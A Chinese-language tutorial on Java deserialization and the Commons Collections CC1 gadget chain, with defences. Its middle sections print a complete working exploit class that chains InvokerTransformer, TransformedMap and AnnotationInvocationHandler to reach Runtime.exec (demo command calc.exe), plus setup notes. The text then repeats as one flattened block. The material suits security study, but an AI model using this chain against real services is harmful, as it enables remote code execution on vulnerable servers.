从Java反序列化基础到CC链漏洞分析
字数 1564 2025-08-12 11:34:00

Java反序列化与CC链漏洞分析教学文档

一、序列化与反序列化基础

1.1 基本概念

  • 序列化:将Java对象转换为字节序列的过程
  • 反序列化:将字节序列恢复为Java对象的过程
  • Serializable接口:类必须实现此接口才能被序列化

1.2 关键方法

  • ObjectOutputStream.writeObject(Object obj):序列化方法
  • ObjectInputStream.readObject(Object obj):反序列化方法

1.3 重要特性

  • serialVersionUID:序列化ID,用于版本控制
  • transient关键字:标记不参与序列化的字段
    protected transient int age; // 该变量不参与序列化
    

二、Transformer机制分析

2.1 Transformer接口

Apache Commons Collections中的核心接口,定义了一个转换方法:

Object transform(Object input);

2.2 关键实现类

2.2.1 ConstantTransformer

  • 总是返回固定值
  • 示例:
    new ConstantTransformer(Runtime.getRuntime())
    

2.2.2 InvokerTransformer

  • 通过反射调用方法
  • 构造方法:
    new InvokerTransformer("方法名", 参数类型数组, 参数值数组)
    
  • 核心逻辑:
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
    

2.2.3 ChainedTransformer

  • 将多个Transformer串联执行
  • 示例:
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    Transformer transformer = new ChainedTransformer(transformers);
    

三、CC1链详细分析

3.1 完整利用链

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc.exe"})
};

3.2 关键组件

3.2.1 TransformedMap

  • 装饰器模式,对Map进行装饰
  • 关键方法:
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
    
  • 触发点:checkSetValue方法会调用valueTransformer.transform(value)

3.2.2 AnnotationInvocationHandler

  • 位于sun.reflect.annotation
  • 关键特性:
    • 非public类,需要通过反射获取
    • 构造函数:
      AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
      
    • readObject方法中会遍历memberValues并调用setValue

3.3 完整利用代码

public class CC1 {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        // 构造TransformedMap
        Map map = new HashMap();
        map.put("value", "value"); // 必须为"value"
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        
        // 通过反射获取AnnotationInvocationHandler实例
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandler.setAccessible(true);
        Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);
        
        // 序列化和反序列化
        serialize(instance);
        unserialize("ser.bin");
    }
    
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    // 反序列化方法
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

3.4 关键注意事项

  1. JDK版本:需要在JDK1.7环境下运行
  2. 依赖库:commons-collections 3.1
  3. 注解选择
    • 必须使用有成员方法的注解类(如Target
    • Override没有成员方法,会导致利用失败
  4. Map键值
    • 必须使用"value"作为key
    • 其他key会导致var7为null,无法进入关键代码段

四、漏洞利用链分析

4.1 完整调用链

AnnotationInvocationHandler.readObject()
  -> TransformedMap.entrySet().iterator().next().setValue()
    -> TransformedMap.checkSetValue()
      -> ChainedTransformer.transform()
        -> ConstantTransformer.transform()
        -> InvokerTransformer.transform() * 3
          -> Runtime.exec()

4.2 关键触发点

  1. 反序列化入口AnnotationInvocationHandler.readObject()
  2. Map处理:遍历memberValues并调用setValue
  3. Transformer链执行
    • 获取Runtime类
    • 获取getRuntime方法
    • 调用getRuntime方法
    • 执行calc命令

五、防御措施

  1. 升级依赖库:使用commons-collections 4.0及以上版本
  2. JEP 290:JDK提供的反序列化过滤器
  3. 输入验证:对反序列化数据来源进行严格验证
  4. 使用白名单:限制可反序列化的类

六、调试技巧

  1. 关键断点
    • InvokerTransformer.transform()
    • TransformedMap.checkSetValue()
    • AnnotationInvocationHandler.readObject()
  2. 环境配置
    • JDK1.7
    • commons-collections 3.1
    • IDE调试功能

七、扩展学习

  1. 其他CC链:CC2、CC3、CC4等不同利用链
  2. 其他反序列化漏洞:JDK原生、第三方库等
  3. 漏洞挖掘方法:静态分析、动态调试等

本教学文档详细分析了Java反序列化基础知识和CC1链的完整利用过程,包括关键代码、调用链分析和调试技巧,为安全研究人员提供了全面的学习参考。

Java反序列化与CC链漏洞分析教学文档 一、序列化与反序列化基础 1.1 基本概念 序列化 :将Java对象转换为字节序列的过程 反序列化 :将字节序列恢复为Java对象的过程 Serializable接口 :类必须实现此接口才能被序列化 1.2 关键方法 ObjectOutputStream.writeObject(Object obj) :序列化方法 ObjectInputStream.readObject(Object obj) :反序列化方法 1.3 重要特性 serialVersionUID :序列化ID,用于版本控制 transient关键字 :标记不参与序列化的字段 二、Transformer机制分析 2.1 Transformer接口 Apache Commons Collections中的核心接口,定义了一个转换方法: 2.2 关键实现类 2.2.1 ConstantTransformer 总是返回固定值 示例: 2.2.2 InvokerTransformer 通过反射调用方法 构造方法: 核心逻辑: 2.2.3 ChainedTransformer 将多个Transformer串联执行 示例: 三、CC1链详细分析 3.1 完整利用链 3.2 关键组件 3.2.1 TransformedMap 装饰器模式,对Map进行装饰 关键方法: 触发点: checkSetValue 方法会调用 valueTransformer.transform(value) 3.2.2 AnnotationInvocationHandler 位于 sun.reflect.annotation 包 关键特性: 非public类,需要通过反射获取 构造函数: readObject 方法中会遍历memberValues并调用 setValue 3.3 完整利用代码 3.4 关键注意事项 JDK版本 :需要在JDK1.7环境下运行 依赖库 :commons-collections 3.1 注解选择 : 必须使用有成员方法的注解类(如 Target ) Override 没有成员方法,会导致利用失败 Map键值 : 必须使用 "value" 作为key 其他key会导致 var7 为null,无法进入关键代码段 四、漏洞利用链分析 4.1 完整调用链 4.2 关键触发点 反序列化入口 : AnnotationInvocationHandler.readObject() Map处理 :遍历memberValues并调用 setValue Transformer链执行 : 获取Runtime类 获取getRuntime方法 调用getRuntime方法 执行calc命令 五、防御措施 升级依赖库 :使用commons-collections 4.0及以上版本 JEP 290 :JDK提供的反序列化过滤器 输入验证 :对反序列化数据来源进行严格验证 使用白名单 :限制可反序列化的类 六、调试技巧 关键断点 : InvokerTransformer.transform() TransformedMap.checkSetValue() AnnotationInvocationHandler.readObject() 环境配置 : JDK1.7 commons-collections 3.1 IDE调试功能 七、扩展学习 其他CC链 :CC2、CC3、CC4等不同利用链 其他反序列化漏洞 :JDK原生、第三方库等 漏洞挖掘方法 :静态分析、动态调试等 本教学文档详细分析了Java反序列化基础知识和CC1链的完整利用过程,包括关键代码、调用链分析和调试技巧,为安全研究人员提供了全面的学习参考。